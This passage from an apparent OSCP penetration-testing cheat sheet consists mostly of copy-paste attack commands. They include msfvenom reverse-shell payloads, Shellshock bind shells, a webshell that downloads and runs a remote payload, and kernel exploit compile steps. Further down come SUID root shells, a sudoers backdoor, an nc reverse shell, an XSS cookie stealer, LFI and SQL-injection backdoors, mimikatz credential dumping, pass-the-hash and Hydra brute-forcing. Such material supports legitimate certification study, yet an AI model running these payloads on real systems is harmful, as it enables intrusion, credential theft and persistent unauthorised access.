> shell.macho Web Payloads PHP msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php OR msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage: cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ASP msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp WAR msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war Scripting Payloads Python msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py Bash msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh Perl msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl Shellcode For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits. Linux Based Shellcode msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> Windows Based Shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> Mac Based Shellcode msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format. use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false exploit -j -z Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘ SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/ use auxiliary/scanner/ssh/ssh_login use post/multi/manage/shell_to_meterpreter Shellshock Testing for shell shock with NMap root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip git clone https://github.com/nccgroup/shocker ./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose Shell Shock SSH Forced Command Check for forced command by enabling all debug output with ssh ssh -vvv ssh -i noob noob@$ip '() { :;}; /bin/bash' cat file (view file contents) echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80 Shell Shock run bind shell echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80 File Transfers Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target. Simple Local Web Servers Run a basic http server, great for serving up shells etc python -m SimpleHTTPServer 80 Run a basic Python3 http server, great for serving up shells etc python3 -m http.server Run a ruby webrick basic http server ruby -rwebrick -e "WEBrick::HTTPServer.new (:Port => 80, :DocumentRoot => Dir.pwd).start" Run a basic PHP http server php -S $ip:80 Creating a wget VB Script on Windows: https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line): echo Set args = Wscript.Arguments >> webdl.vbs timeout 1 echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbs timeout 1 echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> webdl.vbs timeout 1 echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> webdl.vbs timeout 1 echo xHttp.Open "GET", Url, False >> webdl.vbs timeout 1 echo xHttp.Send >> webdl.vbs timeout 1 echo with bStrm >> webdl.vbs timeout 1 echo .type = 1 ' >> webdl.vbs timeout 1 echo .open >> webdl.vbs timeout 1 echo .write xHttp.responseBody >> webdl.vbs timeout 1 echo .savetofile "C:\temp\windows-privesc-check2.exe", 2 ' >> webdl.vbs timeout 1 echo end with >> webdl.vbs timeout 1 echo The file can be run using the following syntax: C:\temp\cscript.exe webdl.vbs Mounting File Shares Mount NFS share to /mnt/nfs mount $ip:/vol/share /mnt/nfs HTTP Put nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php Uploading Files SCP scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2 scp localfile username@$ip:~/Folder/ scp Linux_Exploit_Suggester.pl bob@192.168.1.10:~ Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a backdoor davtest -move -sendbd auto -url http://$ip https://github.com/cldrn/davtest You can also upload a file using the PUT method with the curl command: curl -T 'leetshellz.txt' 'http://$ip' And rename it to an executable file using the MOVE method with the curl command: curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt' Upload shell using limited php shell cmd use the webshell to download and execute the meterpreter [curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php [curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php TFTP mkdir /tftp atftpd --daemon --port 69 /tftp cp /usr/share/windows-binaries/nc.exe /tftp/ EX. FROM WINDOWS HOST: C:\Users\Offsec>tftp -i $ip get nc.exe FTP apt-get update && apt-get install pure-ftpd #!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pw useradd offsec -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart Packing Files Ultimate Packer for eXecutables upx -9 nc.exe exe2bat - Converts EXE to a text file that can be copied and pasted locate exe2bat wine exe2bat.exe nc.exe nc.txt Veil - Evasion Framework - https://github.com/Veil-Framework/Veil-Evasion apt-get -y install git git clone https://github.com/Veil-Framework/Veil-Evasion.git cd Veil-Evasion/ cd setup setup.sh -c Privilege Escalation Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter. Linux Privilege Escalation Defacto Linux Privilege Escalation Guide - A much more through guide for linux enumeration: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ Try the obvious - Maybe the user can sudo to root: sudo su Here are the commands I have learned to use to perform linux enumeration and privledge escalation: What services are running as root?: ps aux | grep root What files run as root / SUID / GUID?: find / -perm +2000 -user root -type f -print find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null What folders are world writeable?: find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders There are a few scripts that can automate the linux enumeration process: Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course. LinuxPrivChecker.py - My favorite automated linux priv enumeration checker - https://www.securitysift.com/download/linuxprivchecker.py LinEnum - (Recently Updated) https://github.com/rebootuser/LinEnum linux-exploit-suggester (Recently Updated) https://github.com/mzet-/linux-exploit-suggester Highon.coffee Linux Local Enum - Great enumeration script! wget https://highon.coffee/downloads/linux-local-enum.sh Linux Privilege Exploit Suggester (Old has not been updated in years) https://github.com/PenturaLabs/Linux_Exploit_Suggester Linux post exploitation enumeration and exploit checking tools https://github.com/reider-roque/linpostexp Handy Kernel Exploits CVE-2010-2959 - 'CAN BCM' Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) https://www.exploit-db.com/exploits/14814/ wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814 $ gcc i-can-haz-modharden.c -o i-can-haz-modharden $ ./i-can-haz-modharden [+] launching root shell! # id uid=0(root) gid=0(root) CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8 https://www.exploit-db.com/exploits/15285/ CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) https://git.zx2c4.com/CVE-2012-0056/about/ Linux CVE 2012-0056 wget -O exploit.c http://www.exploit-db.com/download/18411 gcc -o mempodipper exploit.c ./mempodipper CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 https://dirtycow.ninja/ First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016 Run a command as a user other than root sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf Add a user or change a password /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor echo thePassword | passwd haxzor --stdin Local Privilege Escalation Exploit in Linux SUID (Set owner User ID up on execution) Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required. below are some quick copy and paste examples for various shells: SUID C Shell for /bin/bash int main(void){ setresuid(0, 0, 0); system("/bin/bash"); } SUID C Shell for /bin/sh int main(void){ setresuid(0, 0, 0); system("/bin/sh"); } Building the SUID Shell binary gcc -o suid suid.c For 32 bit: gcc -m32 -o suid suid.c Create and compile an SUID from a limited shell (no file transfer) echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c gcc privsc.c -o privsc Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement: echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444. set PATH="/tmp:/usr/local/bin:/usr/bin:/bin" echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh chmod +x ssh SearchSploit searchsploit –uncsearchsploit apache 2.2 searchsploit "Linux Kernel" searchsploit linux 2.6 | grep -i ubuntu | grep local searchsploit slmail Kernel Exploit Suggestions for Kernel Version 3.0.0 ./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0 Precompiled Linux Kernel Exploits - Super handy if GCC is not installed on the target machine! https://www.kernel-exploits.com/ Collect root password cat /etc/shadow |grep root Find and display the proof.txt or flag.txt - LOOT! cat `find / -name proof.txt -print` Windows Privilege Escalation Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html Try the getsystem command using meterpreter - rarely works but is worth a try. meterpreter > getsystem Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/ Windows Server 2003 and IIS 6.0 WEBDAV Exploiting http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt cadavar http://$ip dav:/> put aspshell.txt Uploading aspshell.txt to `/aspshell.txt': Progress: [=============================>] 100.0% of 38468 bytes succeeded. dav:/> copy aspshell.txt aspshell3.asp;.txt Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded. dav:/> exit msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 1.2.3.4 msf exploit(handler) > set LPORT 80 msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j curl http://$ip/aspshell3.asp;.txt [*] Started reverse TCP handler on 1.2.3.4:443 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 1.2.3.5 [*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700 Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server. pip install pyinstaller wget -O exploit.py http://www.exploit-db.com/download/31853 python pyinstaller.py --onefile exploit.py Windows Server 2003 and IIS 6.0 privledge escalation using impersonation: https://www.exploit-db.com/exploits/6705/ https://github.com/Re4son/Churrasco c:\Inetpub>churrasco churrasco /churrasco/-->Usage: Churrasco.exe [-d] "command to run" c:\Inetpub>churrasco -d "net user /add <username> <password>" c:\Inetpub>churrasco -d "net localgroup administrators <username> /add" c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD" Windows MS11-080 - http://www.exploit-db.com/exploits/18176/ python pyinstaller.py --onefile ms11-080.py mx11-080.exe -O XP Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell: MS16-032 https://www.exploit-db.com/exploits/39719/ powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }" Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc Windows Run As - Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows. Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system). C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe" PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe: C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe" Enter the password for Test: Attempting to start nc.exe as user "COMPUTERNAME\Test" ... PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password. $username = '<username here>' $password = '<password here>' $securePassword = ConvertTo-SecureString $password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public Next run this script using powershell.exe: powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }" Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user. icacls scsiaccess.exe scsiaccess.exe NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) Everyone:(I)(F) Compile a custom add user command in windows using C root@kali:~\# cat useradd.c #include <stdlib.h> /* system, NULL, EXIT_FAILURE */ int main () { int i; i=system ("net localgroup administrators low /add"); return 0; } i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c Group Policy Preferences (GPP) A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files map the Domain controller SYSVOL share net use z:\\dc01\SYSVOL Find the GPP file: Groups.xml dir /s Groups.xml Review the contents for passwords type Groups.xml Decrypt using GPP Decrypt gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB Find and display the proof.txt or flag.txt - get the loot! #meterpreter > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type c:\pathto\proof.txt Client, Web and Password Attacks Client Attacks MS12-037- Internet Explorer 8 Fixed Col Span ID wget -O exploit.html http://www.exploit-db.com/download/24017 service apache2 start JAVA Signed Jar client side attack echo '' > /var/www/html/java.html User must hit run on the popup that occurs. Linux Client Shells http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ Setting up the Client Side Exploit Swapping Out the Shellcode Injecting a Backdoor Shell into Plink.exe backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse_shell_tcp Web Attacks Web Shag Web Application Vulnerability Assessment Platform webshag-gui Web Shells http://tools.kali.org/maintaining-access/webshells ls -l /usr/share/webshells/ Generate a PHP backdoor (generate) protected with the given password (s3cr3t) weevely generate s3cr3t weevely http://$ip/weevely.php s3cr3t Java Signed Applet Attack HTTP / HTTPS Webserver Enumeration OWASP Dirbuster nikto -h $ip Essential Iceweasel Add-ons Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/ Tamper Data https://addons.mozilla.org/en-US/firefox/addon/tamper-data/ Cross Site Scripting (XSS) significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more Browser Redirection and IFRAME Injection <iframe SRC="http://$ip/report" height = "0" width ="0"></iframe> Stealing Cookies and Session Information <script> new image().src="http://$ip/bogus.php?output="+document.cookie; </script> nc -nlvp 80 File Inclusion Vulnerabilities Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code. fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI): https://github.com/kurobeats/fimap Gaining a shell from phpinfo() fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster. For Local File Inclusions look for the include() function in PHP code. include("lang/".$_COOKIE['lang']); include($_GET['page'].".php"); LFI - Encode and Decode a file using base64 curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '[^\ ]\{40,\}' | base64 -d LFI - Download file with base 64 encoding http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php LFI Linux Files: /etc/issue /proc/version /etc/profile /etc/passwd /etc/passwd /etc/shadow /root/.bash_history /var/log/dmessage /var/mail/root /var/spool/cron/crontabs/root LFI Windows Files: %SYSTEMROOT%\repair\system %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\repair\SAM %WINDIR%\win.ini %SYSTEMDRIVE%\boot.ini %WINDIR%\Panther\sysprep.inf %WINDIR%\system32\config\AppEvent.Evt LFI OSX Files: /etc/fstab /etc/master.passwd /etc/resolv.conf /etc/sudoers /etc/sysctl.conf LFI - Download passwords file http://$ip/index.php?page=/etc/passwd http://$ip/index.php?file=../../../../etc/passwd LFI - Download passwords file with filter evasion http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00 Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?> For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files /etc/php5/cgi/php.ini - "allow_url_fopen" and "allow_url_include" both set to "on" include($_REQUEST["file"].".php"); Remote File Inclusion http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt <?php echo shell\_exec("ipconfig");?> Database Vulnerabilities Grab password hashes from a web application mysql database called “Usersâ€� - once you have the MySQL root username and password mysql -u root -p -h $ip use "Users" show tables; select \* from users; Authentication Bypass name='wronguser' or 1=1; name='wronguser' or 1=1 LIMIT 1; Enumerating the Database http://192.168.11.35/comment.php?id=738)' Verbose error message? http://$ip/comment.php?id=738 order by 1 http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6 Determine MySQL Version: http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6 Current user being used for the database connection: http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6 Enumerate database tables and column structures http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables Target the users table in the database http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users' Extract the name and password http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users Create a backdoor http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php' SQLMap Examples Crawl the links sqlmap -u http://$ip --crawl=1 sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3 SQLMap Search for databases against a suspected GET SQL Injection sqlmap –u http://$ip/blog/index.php?search –dbs SQLMap dump tables from database oscommerce at GET SQL injection sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps SQLMap GET Parameter command sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5 SQLMap Post Username parameter sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all SQL Map OS Shell sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell Automated sqlmap scan sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php" - Targeted sqlmap scan `sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump` - Scan url for union + error based injection with mysql backend and use a random user agent + database dump `sqlmap -o -u http://$ip/index.php --forms --dbs ` `sqlmap -o -u "http://$ip/form/" --forms` - Sqlmap check form for injection `sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump` - Enumerate databases `sqlmap --dbms=mysql -u "$URL" --dbs` - Enumerate tables from a specific database `sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables ` - Dump table data from a specific database and table `sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump ` - Specify parameter to exploit `sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2 ` - Specify parameter to exploit in 'nice' URIs (exploits param1) `sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs ` - Get OS shell `sqlmap --dbms=mysql -u "$URL" --os-shell` - Get SQL shell `sqlmap --dbms=mysql -u "$URL" --sql-shell` - SQL query `sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"` - Use Tor Socks5 proxy `sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs` NoSQLMap Examples You may encounter NoSQL instances like MongoDB in your OSCP journies (/cgi-bin/mongo/2.2.3/dbparse.py). NoSQLMap can help you to automate NoSQLDatabase enumeration. NoSQLMap Installation git clone https://github.com/codingo/NoSQLMap.git cd NoSQLMap/ ls pip install couchdb pip install pbkdf2 pip install ipcalc python nosqlmap.py --help Password Attacks AES Decryption http://aesencryption.net/ Convert multiple webpages into a word list for x in 'index' 'about' 'post' 'contact' ; do curl http://$ip/$x.html | html2markdown | tr -s ' ' '\n' >> webapp.txt ; done Or convert html to word list dict html2dic index.html.out | sort -u > index-html.dict Default Usernames and Passwords CIRT http://www.cirt.net/passwords Government Security - Default Logins and Passwords for Networked Devices http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php Virus.org http://www.virus.org/default-password/ Default Password http://www.defaultpassword.com/ Brute Force Nmap Brute forcing Scripts https://nmap.org/nsedoc/categories/brute.html Nmap Generic auto detect brute force attack nmap --script brute -Pn <target.com or ip> MySQL nmap brute force attack nmap --script=mysql-brute $ip Dictionary Files Word lists on Kali cd /usr/share/wordlists Key-space Brute Force crunch 6 6 0123456789ABCDEF -o crunch1.txt crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha crunch 8 8 -t ,@@^^%%% Pwdump and Fgdump - Security Accounts Manager (SAM) pwdump.exe - attempts to extract password hashes fgdump.exe - attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials. Windows Credential Editor (WCE) allows one to perform several attacks to obtain clear text passwords and hashes wce -w Mimikatz extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have System level access): meterpreter> load mimikatz meterpreter> help mimikatz meterpreter> msv meterpreter> kerberos meterpreter> mimikatz_command -f samdump::hashes meterpreter> mimikatz_command -f sekurlsa::searchPasswords Password Profiling cewl can generate a password list from a web page cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt Password Mutating John the ripper can mutate password lists nano /etc/john/john.conf john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt Medusa Medusa, initiated against an htaccess protected web directory medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10 Ncrack ncrack (from the makers of nmap) can brute force RDP ncrack -vv --user offsec -P password-file.txt rdp://$ip Hydra Hydra brute force against SNMP hydra -P password-file.txt -v $ip snmp Hydra FTP known user and password list hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp Hydra SSH using list of users and passwords hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh Hydra SSH using a known password and a username list hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh Hydra SSH Against Known username on port 22 hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt Hydra POP3 Brute Force hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V Hydra SMTP Brute Force hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V Hydra attack http get 401 login with a dictionary hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin Hydra attack Windows Remote Desktop with rockyou hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip Hydra brute force a Wordpress admin login hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' Password Hash Attacks Online Password Cracking https://crackstation.net/ Hashcat Needed to install new drivers to get my GPU Cracking to work on the Kali linux VM and I also had to use the --force parameter. apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev and apt-get install pocl-opencl-icd Cracking Linux Hashes - /etc/shadow file 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems Cracking Windows Hashes 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems Cracking Common Application Hashes 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash Create a .hash file with all the hashes you want to crack puthasheshere.hash: $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Hashcat example cracking Linux md5crypt passwords $1$ using rockyou: hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt Wordpress sample hash: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/ Wordpress clear text: test Hashcat example cracking Wordpress passwords using rockyou: hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt - Sample Hashes [*http://openwall.info/wiki/john/sample-hashes*](http://openwall.info/wiki/john/sample-hashes) - Identify Hashes `hash-identifier` - To crack linux hashes you must first unshadow them: `unshadow passwd-file.txt shadow-file.txt ` `unshadow passwd-file.txt shadow-file.txt > unshadowed.txt` John the Ripper - Password Hash Cracking john $ip.pwdump john --wordlist=/usr/share/wordlists/rockyou.txt hashes john --rules --wordlist=/usr/share/wordlists/rockyou.txt john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt JTR forced descrypt cracking with wordlist john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt JTR forced descrypt brute force cracking john --format=descrypt hash --show Passing the Hash in Windows Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system: export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896 pth-winexe -U administrator //$ip cmd Networking, Pivoting and Tunneling Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port apt-get install rinetd cat /etc/rinetd.conf \# bindadress bindport connectaddress connectport w.x.y.z 53 a.b.c.d 80 SSH Local Port Forwarding: supports bi-directional communication channels ssh <gateway> -L <local port to listen>:<remote host>:<remote port> SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network ssh 